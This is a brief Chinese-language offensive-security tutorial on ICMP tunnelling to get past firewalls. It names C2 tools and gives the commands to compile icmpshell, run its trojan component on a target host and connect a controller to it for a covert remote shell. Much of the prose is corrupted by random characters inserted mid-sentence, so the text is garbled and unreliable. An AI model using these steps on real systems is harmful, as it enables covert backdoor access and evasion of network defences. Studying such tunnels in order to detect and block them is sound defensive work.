1ICMP:
原理 - 繞過WAF(多數(shù)防火墻未對ICMP流量做限制)
工具相關(guān) PiX-C2、icmpsh姥宝、Nishang結(jié)合icmpsh 翅萤、ptunnel 、icmpshell
一腊满、技術(shù)實現(xiàn)原理:
IP協(xié)議并不是一個可靠的協(xié)議套么,它不保證數(shù)據(jù)被送達培己,那么,自然的胚泌,保證數(shù)據(jù)送達的工作應該由其他的模塊來完成省咨。其中一個重要的模塊就是ICMP(網(wǎng)絡控制報文)協(xié)議。
ICMP數(shù)據(jù)包由8bit的錯誤類型和8bit的代碼和16bit的校驗和組成玷室。而前 16bit就組成了ICMP所要傳遞的信息零蓉。
如下是icmp的結(jié)構(gòu)圖,
image.png
請求端的 Ping 工具通常會在 ICMP 數(shù)據(jù)包后面附加上一段隨機的數(shù)據(jù)作為 Payload穷缤,而響應端則會拷貝這段 Payload 到 ICMP 響應數(shù)據(jù)包中返還給請求端敌蜂,用于識別和匹配 Ping 請求(Windows 和 Linux 系統(tǒng)下的Ping 工具默認的 Payload 長度為 64bit,但實際上協(xié)議允許附加最大 64K 大小的Payload)津肛。
最后一個 Payload 字段是可以存放任何數(shù)據(jù)的章喉,長度的話 理論上 ICMP 包外的 IP 包長度不超過 MTU 即可,但是實際上傳不了那么大快耿。
icmp本身比較簡單囊陡,有一個字節(jié)的類型和一個字節(jié)的代碼和兩個字節(jié)的校驗碼,其他為數(shù)據(jù)部分掀亥,icmp攜帶的數(shù)據(jù)部分默認是32字節(jié)。而且攜帶的數(shù)據(jù)在windows中永遠是:abcdefghijklmnopqrstuvwabcdefghi
image.png
看了icmp協(xié)議的結(jié)構(gòu)妥色,你是不是在想搪花,data數(shù)據(jù)的內(nèi)容能否換成我自己想傳輸?shù)臄?shù)據(jù)呢?這就是icmp隧道的精髓了嘹害,icmp隧道就是要替換掉data部分數(shù)據(jù)撮竿。
那我們能否改變這些data填充我們自己的數(shù)據(jù)呢? 答案是當然是可以的笔呀!
在icmp data中的數(shù)據(jù)進行更改后幢踏,目標設備能否解析內(nèi)容呢,這就需要工具代替系統(tǒng)自身模塊了许师。
一個隧道工具房蝉,允許您通過可靠的 TCP 隧道連接一個遠程主機,并使用 ICMP 回送請求和應答包微渠,俗稱 ping 請求和回復搭幻。
木馬控制:
編譯icmpshell,編譯成功后會生成兩個可執(zhí)行文件,ish是控制端,ishd是木馬端
icmpsh
icmptunnel
cd icmpshell
make linux
首先,在目標機器MidLAMP上執(zhí)行木馬端:
-i 指定木馬端端口
-t 指定icmp類型
-p 指定單包大小
./ishd -i 443 -t 0 -p 1024 &
然后,再回到本地機器lnmp01上執(zhí)行控制端進行連接,程序有值得改進的地方,如,設置連接密碼:
./ish -i 443 -t 0 -p 1024 192.168.3.19
工具 Dnscat2